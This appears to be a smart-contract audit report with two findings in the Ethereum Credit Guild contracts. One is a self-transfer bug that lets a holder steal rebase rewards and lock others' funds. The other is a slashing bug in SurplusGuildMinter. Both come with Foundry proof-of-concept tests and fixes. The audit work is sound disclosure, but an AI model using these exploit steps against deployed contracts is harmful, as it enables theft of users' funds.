Ethereum Credit Guild - stackachu's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L607 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L701

Vulnerability details

When a rebasing CREDIT token holder transfers CREDIT tokens to themselves, they may be credited the balance that they had before the transfer as well as the amount of tokens that they transferred themselves.

This is because in https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L607-L609 rebasingStateTo.nShares (the holder's pre-transfer balance) and the transferred amount are added to calculate the holder's post-transfer balance.

This results in a non-zero mintAmount in https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L626 that is then minted to the holder. This mintAmount is deducted from the unminted rebase rewards in https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L629.

If the amount of those unminted rebase rewards is greater or equal to the mintAmount, the holder is "stealing" mintAmount worth of rebase rewards. Otherwise the transfer fails with an arithmetic underflow error.

Note: The separately implemented ERC20RebaseDistributor.transferFrom function contains the same issue.

Impact

This issue allows rebasing CREDIT token holders to steal rebase rewards from other rebasing CREDIT token holders. Furthermore, the other holders will no longer be able to transfer any of their token balances, thus losing not only the stolen rebase rewards, but all their CREDIT funds.

Proof of Concept

The CreditToken unit test can be extended by the following test that demonstrates the issue:

The following import needs to be added:

import "@forge-std/StdError.sol";

Then the PoC test case can be added:

    function testRebaseSteal() public {
        // create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
        vm.stopPrank();

        // initial state
        token.mint(alice, 1000e18);
        token.mint(bob, 1000e18);
        token.forceEnterRebase(alice);
        token.forceEnterRebase(bob);

        assertEq(token.totalSupply(), 2000e18);
        assertEq(token.rebasingSupply(), 2000e18);
        assertEq(token.nonRebasingSupply(), 0);
        assertEq(token.balanceOf(alice), 1000e18);
        assertEq(token.balanceOf(bob), 1000e18);

        // distribute
        token.mint(address(this), 1000e18);
        token.approve(address(token), 1000e18);
        token.distribute(1000e18);
        vm.warp(block.timestamp + token.DISTRIBUTION_PERIOD());

        // after distribute
        // Alice and Bob each got 50% of the distribution (500e18 each)
        assertEq(token.totalSupply(), 3000e18);
        assertEq(token.rebasingSupply(), 3000e18);
        assertEq(token.nonRebasingSupply(), 0);
        assertEq(token.balanceOf(alice), 1500e18);
        assertEq(token.balanceOf(bob), 1500e18);

        // Bob transfers 500e18 tokens to himself which shouldn't change any balances
        vm.prank(bob);
        token.transfer(bob, 500e18);
        // After the transfer Bob's balance is now 2000e18
        // Alice's balance is still 1500e18
        // the total supply is still 3000e18 (500e18 less than the sum of Bob's and Alice's balances)
        assertEq(token.balanceOf(alice), 1500e18);
        assertEq(token.balanceOf(bob), 2000e18);
        assertEq(token.totalSupply(), 3000e18);

        // Bob can exit rebasing and run away with his illicit gains
        vm.prank(bob);
        token.exitRebase();
        vm.prank(bob);
        token.transfer(address(0x2), 2000e18);

        // Alice will cause an underflow when she tries to exit rebasing or transfer any of her balance
        // because 500e18 of her balance is not there anymore
        vm.expectRevert(stdError.arithmeticError);
        vm.prank(alice);
        token.exitRebase();
        vm.expectRevert(stdError.arithmeticError);
        vm.prank(alice);
        token.transfer(address(0x3), 1);

        assertEq(token.balanceOf(alice), 1500e18);
        assertEq(token.balanceOf(bob), 0);
        assertEq(token.balanceOf(address(0x2)), 2000e18);
        assertEq(token.totalSupply(), 3000e18);
        assertEq(token.rebasingSupply(), 1000e18-1);
        assertEq(token.nonRebasingSupply(), 2000e18+1);
    }

Recommended Mitigation Steps

The easiest fix for the issue would be disallowing self-transfers in ERC20RebaseDistributor.transfer and ERC20RebaseDistributor.transferFrom by adding the following require to transfer:

require(to != msg.sender, "Self-transfers are not allowed");

And the following require to transferFrom:

require(to != from, "Self-transfers are not allowed");

I don't see a legitimate reason for token holders to transfer tokens to themselves, so the fix should not have any unwanted side-effects except for slightly higer gas costs.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L229

Vulnerability details

The SurplusGuildMinter.getRewards function compares the last gauge loss for the specified lending term to the last gauge loss that was applied to the user's SGM stake. If the last gauge loss is more recent than the last gauge loss applied to the user's SGM stake, the user's SGM stake is slashed (https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L229):

        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }

However, because the userStake struct is declared as a named return variable in the function and not re-assigned before the comparison, it is still initialized with its default value when the comparison takes place. Consequently, the comparison always checks if lastGaugeLoss is greater than 0 which is always the case after the first loss was registered for the gauge/term.

Impact

Anyone who stakes CREDIT in a gauge through the SGM after a loss has been registered for that gauge, will lose their stake whenever getRewards is called for the user and the gauge, which also happens when the user calls unstake (https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L160).

In short, staking CREDIT through the SGM in a gauge that had a loss in the past, will always result in a full loss of the staked CREDIT.

Proof of Concept

A test case that demonstrates the issue can be added to the SGM unit test:

    function testRepeatedSlashing() public {
        // setup
        address alice = address(0xa11ce);
        address bob = address(0xb0b);

        credit.mint(address(alice), 300e18);
        credit.mint(address(bob), 150e18);

        // Alice stakes 150e18 credit in the SGM
        vm.startPrank(alice);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        vm.stopPrank();

        assertEq(credit.balanceOf(alice), 150e18);
        assertEq(credit.balanceOf(bob), 150e18);
        assertEq(profitManager.surplusBuffer(), 0);
        assertEq(profitManager.termSurplusBuffer(term), 150e18);
        assertEq(guild.balanceOf(address(sgm)), 300e18);
        assertEq(guild.getGaugeWeight(term), 350e18);
        assertEq(sgm.getUserStake(alice, term).credit, 150e18);

        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        // there is a loss in the LT
        profitManager.notifyPnL(term, -1e18);
        uint256 firstGaugeLoss = block.timestamp;
        assertEq(guild.lastGaugeLoss(term), firstGaugeLoss);

        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        // Alice's SGM stake is slashed
        (, , bool slashed) = sgm.getRewards(alice, term);

        assertEq(slashed, true);
        // Now alice's SGM stake is 0
        assertEq(sgm.getUserStake(alice, term).credit, 0);

        // apply the loss to the SGM's guild gauge stake
        guild.applyGaugeLoss(term, address(sgm));

        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        // Alice stakes 150e18 credit in the SGM again
        vm.startPrank(alice);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        vm.stopPrank();

        // Bob also stakes 150e18 credit in the SGM
        vm.startPrank(bob);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        vm.stopPrank();

        assertEq(credit.balanceOf(alice), 0);
        assertEq(credit.balanceOf(bob), 0);
        assertEq(profitManager.surplusBuffer(), 149e18);
        assertEq(profitManager.termSurplusBuffer(term), 300e18);
        assertEq(guild.balanceOf(address(sgm)), 600e18);
        assertEq(guild.getGaugeWeight(term), 650e18);
        assertEq(sgm.getUserStake(alice, term).credit, 150e18);
        assertEq(sgm.getUserStake(bob, term).credit, 150e18);

        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        // there has been no new gauge loss since Alice and Bob staked
        // they are still slashed
        assertEq(guild.lastGaugeLoss(term), firstGaugeLoss);
        (, , slashed) = sgm.getRewards(alice, term);
        assertEq(slashed, true);
        (, , slashed) = sgm.getRewards(bob, term);
        assertEq(slashed, true);

        // Alice's and Bob's stakes are now 0
        assertEq(sgm.getUserStake(alice, term).credit, 0);
        assertEq(sgm.getUserStake(bob, term).credit, 0);
    }

Recommended Mitigation Steps

Assign the _stakes[user][term] from storage to userStake before comparing lastGaugeLoss to userStake.lastGaugeLoss:

diff --git a/src/loan/SurplusGuildMinter.sol b/src/loan/SurplusGuildMinter.sol
index f68e9ff..3e714ca 100644
--- a/src/loan/SurplusGuildMinter.sol
+++ b/src/loan/SurplusGuildMinter.sol
@@ -226,12 +226,12 @@ contract SurplusGuildMinter is CoreRef {
     {
         bool updateState;
         lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
+        userStake = _stakes[user][term];
         if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
             slashed = true;
         }

         // if the user is not staking, do nothing
-        userStake = _stakes[user][term];
         if (userStake.stakeTime == 0)
             return (lastGaugeLoss, userStake, slashed);

Assessed type

Other